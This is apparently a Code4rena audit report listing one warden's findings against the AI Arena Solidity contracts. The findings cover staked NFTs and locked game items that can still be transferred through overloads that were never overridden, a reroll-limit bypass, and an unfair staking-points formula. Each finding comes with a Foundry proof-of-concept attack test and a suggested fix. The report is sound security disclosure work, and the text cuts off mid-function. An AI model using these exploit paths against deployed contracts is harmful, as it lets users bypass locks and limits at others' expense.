AI Arena - ubl4nk's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L16 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L543 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L268-L276 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L254

Vulnerability details

Impact

NFT/fighter is still transferrable even if the NFT is staked/locked in the ranked battle.

Proof of Concept

When someone calls stakeNRN, then it calls updateFighterStaking and the underlying NFT/fighter will be locked in FighterFarm:

function stakeNRN(uint256 amount, uint256 tokenId) external {
        require(amount > 0, "Amount cannot be 0");
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
        require(_neuronInstance.balanceOf(msg.sender) >= amount, "Stake amount exceeds balance");
        require(hasUnstaked[tokenId][roundId] == false, "Cannot add stake after unstaking this round");

        _neuronInstance.approveStaker(msg.sender, address(this), amount);
        bool success = _neuronInstance.transferFrom(msg.sender, address(this), amount);
        if (success) {
            if (amountStaked[tokenId] == 0) {
@>                _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }

function updateFighterStaking(uint256 tokenId, bool stakingStatus) external {
        require(hasStakerRole[msg.sender]);
        fighterStaked[tokenId] = stakingStatus;
        if (stakingStatus) {
            emit Locked(tokenId);
        } else {
            emit Unlocked(tokenId);
        }
    }

And while the NFT is locked/staked in the FighterFarm, then the player/NFT-owner/fighter-owner can't transfer/sell it to another person until he/she calls unstakeNRN in ranked battle:

function transferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to)); // <--- this reverts if the NFT is locked
        _transfer(from, to, tokenId);
    }

function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to)); // <--- this reverts if the NFT is locked
        _safeTransfer(from, to, tokenId, "");
    }

function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId] // <---------- if NFT is staked, this returns false and NFT is not transferrable
        );
    }

But FighterFarm is missed to override another safeTransferFrom from ERC721. Actually there are two safeTransferFrom's in the ERC721 contracts and due to that the FighterFarm is extended from ERC721, then user is able to transfer the fighter/NFT using the second safeTransferFrom.

Here is a PoC which demonstrates the vulnerability, create a new test file and paste the below code and run forge test --match-contract PoC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {Neuron} from "../src/Neuron.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {RankedBattle} from "../src/RankedBattle.sol";
import {VoltageManager} from "../src/VoltageManager.sol";
import {GameItems} from "../src/GameItems.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";
import {StakeAtRisk} from "../src/StakeAtRisk.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract PoC is Test {
    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal constant _GAME_SERVER_ADDRESS = 0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;
    StakeAtRisk internal _stakeAtRiskContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, _GAME_SERVER_ADDRESS, address(_fighterFarmContract), address(_voltageManagerContract)
        );

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _stakeAtRiskContract =
            new StakeAtRisk(_treasuryAddress, address(_neuronContract), address(_rankedBattleContract));

        _voltageManagerContract.adjustAllowedVoltageSpenders(address(_rankedBattleContract), true);

        _neuronContract.addStaker(address(_rankedBattleContract));
        _neuronContract.addMinter(address(_rankedBattleContract));

        assertEq(_neuronContract.hasRole(keccak256("STAKER_ROLE"), address(_rankedBattleContract)), true);

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));
        _rankedBattleContract.instantiateMergingPoolContract(address(_mergingPoolContract));
        _rankedBattleContract.setStakeAtRiskAddress(address(_stakeAtRiskContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.addStaker(address(_rankedBattleContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
    }

    /// @notice Helper function to mint an fighter nft to an address.
    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

    /// @notice Helper function to fund an account with 4k $NRN tokens.
    function _fundUserWith4kNeuronByTreasury(address user) internal {
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 4_000 * 10 ** 18);
        assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    function testAttack() public {
        address attacker = vm.addr(3);

        // attacker has 1 NFT/fighter
        _mintFromMergingPool(attacker);
        assertEq(_fighterFarmContract.ownerOf(0), attacker);

        // attacker has some $NRN
        _fundUserWith4kNeuronByTreasury(attacker);
        assertEq(_neuronContract.balanceOf(attacker) >= 4_000 * 10 ** 18, true);
        
        // attacker stakes the fighter/NFT into ranked battle
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);

        // now the NFT/fighter is staked/locked in the fighterFarm and should not be transferable 
        assertEq(_fighterFarmContract.fighterStaked(0), true);

        // attacker tries to transfer the fighter/NFT using `transferFrom` but it reverts
        address anotherPerson = vm.addr(4);
        vm.prank(attacker);
        vm.expectRevert();
        _fighterFarmContract.transferFrom(attacker, anotherPerson, 0);

        // attacker tries to transfer the fighter/NFT using `safeTransferFrom` but it also reverts
        vm.prank(attacker);
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(attacker, anotherPerson, 0);

        /*
            but there is another safeTransferFrom (it has 4 arguments and the last arg is a `byte memory`) inside the ERC721 contracts
            which is not overwritten by FighterFarm and attacker can transfer the NFT using that 
        */
       vm.prank(attacker);
       bytes memory data;
       _fighterFarmContract.safeTransferFrom(attacker, anotherPerson, 0, data);

       // we see the NFT is transferred to another person
       assertEq(_fighterFarmContract.ownerOf(0), anotherPerson);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Consider overriding the second safeTransferFrom from ERC721:

--- a/src/FighterFarm.sol
+++ b/src/FighterFarm.sol
@@ -543,4 +543,14 @@ contract FighterFarm is ERC721, ERC721Enumerable {
           !fighterStaked[tokenId]
         );
     }
+
+       function safeTransferFrom(
+        address from,
+        address to,
+        uint256 tokenId,
+        bytes memory data
+    ) public override(ERC721, IERC721) {
+        require(_ableToTransfer(tokenId, to), "not transferrable");
+        _safeTransfer(from, to, tokenId, data);
+    }
 }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L126-L134 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L10 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303

Vulnerability details

Impact

The game items (batteries) are still transferrable even if the admin calls adjustTransferability and sets transferable to false.

Proof of Concept

There is a function inside GameItems contract by which an admin can disable the transferability of batteries (or other future game items):

function adjustTransferability(uint256 tokenId, bool transferable) external {
        require(msg.sender == _ownerAddress);
        allGameItemAttributes[tokenId].transferable = transferable;
        if (transferable) {
          emit Unlocked(tokenId);
        } else {
          emit Locked(tokenId);
        }
    }

When transferable is set false, no one should be able to transfer a battery/game-item and transfer is locked:

function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable); // <--- if transferable is false, reverts
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

But due to that the GameItems contract extended from ERC1155, there is another safeBatchTransferFrom which is not overwritten and anyone is able to transfer the items using that function.

Here is a PoC which demonstrates the vulnerability, create a new test file and paste the code and run using forge test --match-contract PoC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console, stdError} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {GameItems} from "../src/GameItems.sol";
import {Neuron} from "../src/Neuron.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract PoC is Test {
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    address internal attacker;

    GameItems internal _gameItemsContract;
    Neuron internal _neuronContract;

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        attacker = vm.addr(3);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);
        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _neuronContract.addSpender(address(_gameItemsContract));

        _gameItemsContract.instantiateNeuronContract(address(_neuronContract));
        _gameItemsContract.createGameItem("Battery", "https://ipfs.io/ipfs/", true, true, 10_000, 1 * 10 ** 18, 10);
    }

    /// @notice Helper function to fund an account with 4k $NRN tokens.
    function _fundUserWith4kNeuronByTreasury(address user) internal {
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 4_000 * 10 ** 18);
        assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    function testAttack() public {
        _fundUserWith4kNeuronByTreasury(attacker); // assuming attacker has some $NRN

        vm.prank(attacker);
        _gameItemsContract.mint(0, 2); //paying 2 $NRN for 2 batteries

        assertEq(_gameItemsContract.balanceOf(attacker, 0), 2);

        // Now admin decides to disable Transferability
        vm.prank(_ownerAddress);
        _gameItemsContract.adjustTransferability(0, false);

        // Now we expect the Transferability is disabled for gameItem_0/battery (NFT_0/TokenId_0)
        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
        assertEq(transferable, false);

        // Attacker should not be able to transfer that 2 batteries to another person
        address anotherPerson = vm.addr(4);
        bytes memory data;
        vm.expectRevert();
        vm.prank(attacker);
        _gameItemsContract.safeTransferFrom(attacker, anotherPerson, 0, 2, data);


        /* But due to that the GameItems-contract is extended from ERC1155, and the GameItems has not overwritten 
        *  the safeBatchTransferFrom, so attacker can transfer the items/batteries
        */
        uint256[] memory ids = new uint256[](1);
        ids[0] = 0;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 2;

        vm.prank(attacker);
        _gameItemsContract.safeBatchTransferFrom(attacker, anotherPerson, ids, amounts, data);


        // Now we expect another person is owner of that batteries
        assertEq(_gameItemsContract.balanceOf(anotherPerson, 0), 2);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Consider overriding safeBatchTransferFrom as well as safeTransferFrom:

+++ b/src/GameItems.sol
@@ -312,5 +312,19 @@ contract GameItems is ERC1155 {
     function _replenishDailyAllowance(uint256 tokenId) private {
         allowanceRemaining[msg.sender][tokenId] = allGameItemAttributes[tokenId].dailyAllowance;
         dailyAllowanceReplenishTime[msg.sender][tokenId] = uint32(block.timestamp + 1 days);
-    }
+    }
+
+       function safeBatchTransferFrom(
+        address from,
+        address to,
+        uint256[] memory ids,
+        uint256[] memory amounts,
+        bytes memory data
+    ) public override(ERC1155) {
+        require(ids.length == amounts.length);
+        for (uint256 i = 0; i < ids.length; i++) {
+            require(allGameItemAttributes[i].transferable);
+        }
+        super.safeBatchTransferFrom(from, to, ids, amounts, data);
+    }
 }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L129-L134 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391

Vulnerability details

Impact

when incrementGeneration is called for a fighterType, then the maxRerollsAllowed can be bypassed by fighter/NFT owner, due to this a NFT/fighter owner can reroll their own NFT once more.

Proof of Concept

Note: I previously reported about DOS of reRoll and i'm well aware of that when incrementGeneration is called, then the reRoll will be DoS (just search the report title FighterFarm#reRoll will be DoS after the incrementGeneration is called) and won't work, but even if that bug will be fixed and reRoll won't be reverted, someone can bypass maxRerollsAllowed and then rerolls its NFT more than max. So for this vulnerability we assume that the previous bug (about DOS of reRoll) is fixed and reRoll is not DOS after incrementGeneration is called.

We see the maxRerollsAllowed is defined like this:

uint8[2] public maxRerollsAllowed = [3, 3];

this means, each fighter/NFT (champion and dendroid) can be rerolled 3 times at max.

Now we assume the admin/owner calls incrementGeneration and increases the maxRerollsAllowed for dendroid (fighterType = 1):

function incrementGeneration(uint8 fighterType) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1; // <------ maxRerollsAllowed[1] += 1
        return generation[fighterType];
    }

Now maxRerollsAllowed looks like this:

• maxRerollsAllowed = [3, 4];

We assume attacker has a champion (fighter type_0) and previously rerolled it 3 times in the past and now the attacker can call reRoll and enter 1 for fighterType instead of 0:

function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }

Now attacker has rerolled their champion 4 times. (max for champion is 3)

Steps to run PoC:

• first we should fix the bug about the DOS of reRoll after calling incrementGeneration, so add this line in incrementGeneration:

--- a/src/FighterFarm.sol
+++ b/src/FighterFarm.sol
@@ -130,6 +130,7 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         require(msg.sender == _ownerAddress);
         generation[fighterType] += 1;
         maxRerollsAllowed[fighterType] += 1;
+               numElements[generation[fighterType]] = generation[fighterType];
         return generation[fighterType];
     }

• Create a new file and paste the below PoC and run it using forge test --match-contract PoC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {Neuron} from "../src/Neuron.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {RankedBattle} from "../src/RankedBattle.sol";
import {VoltageManager} from "../src/VoltageManager.sol";
import {GameItems} from "../src/GameItems.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";
// import {Utilities} from "./utils/Utilities.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

/// @notice Unit test for FighterFarm Contract.
contract PoC is Test {

    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    address internal attacker;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    /*//////////////////////////////////////////////////////////////
                                SETUP
    //////////////////////////////////////////////////////////////*/

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        attacker = vm.addr(3);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, address(_fighterFarmContract), _DELEGATED_ADDRESS, address(_voltageManagerContract)
        );

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));

        _neuronContract.addSpender(address(_fighterFarmContract));
    }

    /// @notice Helper function to mint an fighter nft to an address.
    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

    /// @notice Helper function to fund an account with 4k $NRN tokens.
    function _fundUserWith4kNeuronByTreasury(address user) internal {
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 10_000 * 10 ** 18);
        assertEq(10_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        // Handle the token transfer here
        return this.onERC721Received.selector;
    }

    
    function testReroll_is_DoS_after_calling_increamentGeneration() public {
        
        /* @note FighterTypes:
                        0: champion
                        1: dendroid
        */


        // Attacker has a champion (fighterType_0)
        _mintFromMergingPool(attacker);
        assertEq(_fighterFarmContract.ownerOf(0), attacker); // check owner of tokenId_0/fighter_0 is attacker

        (,,,,,,,,bool isDendroid) = _fighterFarmContract.fighters(0);
        assertEq(isDendroid, false); // Attacker has a champion not dendroid

        // get 10k neuron from treasury
        _fundUserWith4kNeuronByTreasury(attacker);

        // max allow for rerolling a fighter/NFT is 3
        // maxRerollsAllowed = [3, 3] 
        assertEq(_fighterFarmContract.maxRerollsAllowed(0), 3); // 0: champions can be rerolled 3 times at max
        assertEq(_fighterFarmContract.maxRerollsAllowed(1), 3); // 1: dendroids can be rerolled 3 times at max

        // attacker rerolls their own fighter 3 times
        vm.prank(attacker);
        _fighterFarmContract.reRoll(0, 0);
        vm.prank(attacker);
        _fighterFarmContract.reRoll(0, 0);
        vm.prank(attacker);
        _fighterFarmContract.reRoll(0, 0);

        assertEq(_fighterFarmContract.numRerolls(0), 3); // check attacker reRolled the champion/fighter 3 times (3 is max)

        // Now attacker should not be able to reroll that champion and maximum is reached, let's check this
        vm.expectRevert();
        vm.prank(attacker);
        _fighterFarmContract.reRoll(0, 0);

        // Now admin calls `incrementGeneration` and increases `maxRerollsAllowed` for dendroids not champions
        vm.prank(_ownerAddress);
        _fighterFarmContract.incrementGeneration(1); // 1: dendroids -> increment the generation and maxReroll for dendroids not champions

        // Now lets check maxRerollsAllowed
        // it should be something like this:  maxRerollsAllowed = [3, 4] 
        assertEq(_fighterFarmContract.maxRerollsAllowed(0), 3); // 0: champions can be rerolled 3 times at max
        assertEq(_fighterFarmContract.maxRerollsAllowed(1), 4); // 1: dendroids can be rerolled 4 times at max

        // Now because the attacker has a champion, so he still should not be able to reRoll their own fighter/champion
         vm.prank(attacker);
         vm.expectRevert();
        _fighterFarmContract.reRoll(0, 0);

        // But attacker can call reRoll and for the second parameter (which is fighterType) he enter `1` instead of `0`
        // maxRerollsAllowed increased for dendroids, but in this way attacker can reRoll their own champion
        vm.prank(attacker);
        _fighterFarmContract.reRoll(0, 1);
        assertEq(_fighterFarmContract.numRerolls(0), 4); // tokenId_0 is a champion and maxReroll for champions is 3, but we see attacker rerolled 4 times
    }

}

Tools Used

Manual Review

Recommended Mitigation Steps

Consider checking the entered fighterType as input argument is match with fighter/NFT type. For example if the tokenId/NFT is a champion (type_0) so he should only be able to enter 0 as fighterType in reRoll function and otherwise it should revert.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L445 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L527-L533

Vulnerability details

Impact

points calculation/formula is unfair and due to this, two persons who stakes different amount of $NRN's will receive the same amount of points and then can claim the same amounts of prize/nrnDistribution.

Proof of Concept

The points are calculated using this formula:

points = stakingFactor[tokenId] * eloFactor;

The eloFactor depends on the performance of the player during the time/battles/fights. it starts from 1500 for every player/figher/AI and for now we assume 2 players just joined into the protocol and the eloFactor is 1500 for both of them.

stakingFactor is calculated inside the _getStakingFactor function:

function _getStakingFactor(
        uint256 tokenId, 
        uint256 stakeAtRisk
    ) 
        private 
        view 
        returns (uint256) 
    {
      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      ); 
@>    if (stakingFactor_ == 0) { 
        stakingFactor_ = 1;
      }
      return stakingFactor_; 
    } 

Because the players recently joined into game then the stakeAtRisk is 0 for both.

Now we assume Alice staked 10 wei NRN (amountStaked = 10 wei) and Bob staked 3e18 NRN (amountStaked = 3e18). for both, this function returns 1, because the result of sqrt is 0 and then it goes into if-block and sets the stakingFactory_ to 1.

Now we know the stakingFactor for both of them is 1, lets calculate the points for both Alice and Bob:

points = (stakingFactor[tokenId] * eloFactor) = (1 * 1500) = 1500 points // For Alice
points = (stakingFactor[tokenId] * eloFactor) = (1 * 1500) = 1500 points // For Bob

If they both win a fight they both will receive 1500 points which is unfair (but in case of losing a fight, bigger stake may lose bigger amount which is again unfair).

This means if we assume the eloFactor is 1500 at all, all the persons who staked less than 4e18 $NRN will receive the same amount of points which is unfair and incorrect.

Here i have provided a PoC which demonstrates the same scenario, create a new test file and paste the following code and run forge test --match-contract PoC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {Neuron} from "../src/Neuron.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {RankedBattle} from "../src/RankedBattle.sol";
import {VoltageManager} from "../src/VoltageManager.sol";
import {GameItems} from "../src/GameItems.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";
import {StakeAtRisk} from "../src/StakeAtRisk.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract PoC is Test {
    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal constant _GAME_SERVER_ADDRESS = 0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;
    StakeAtRisk internal _stakeAtRiskContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, _GAME_SERVER_ADDRESS, address(_fighterFarmContract), address(_voltageManagerContract)
        );

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _stakeAtRiskContract =
            new StakeAtRisk(_treasuryAddress, address(_neuronContract), address(_rankedBattleContract));

        _voltageManagerContract.adjustAllowedVoltageSpenders(address(_rankedBattleContract), true);

        _neuronContract.addStaker(address(_rankedBattleContract));
        _neuronContract.addMinter(address(_rankedBattleContract));

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));
        _rankedBattleContract.instantiateMergingPoolContract(address(_mergingPoolContract));
        _rankedBattleContract.setStakeAtRiskAddress(address(_stakeAtRiskContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.addStaker(address(_rankedBattleContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
    }

    /// @notice Helper function to mint an fighter nft to an address.
    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

    /// @notice Helper function to fund an account with 4k $NRN tokens.
    function _fundUserWith4kNeuronByTreasury(address user) internal {
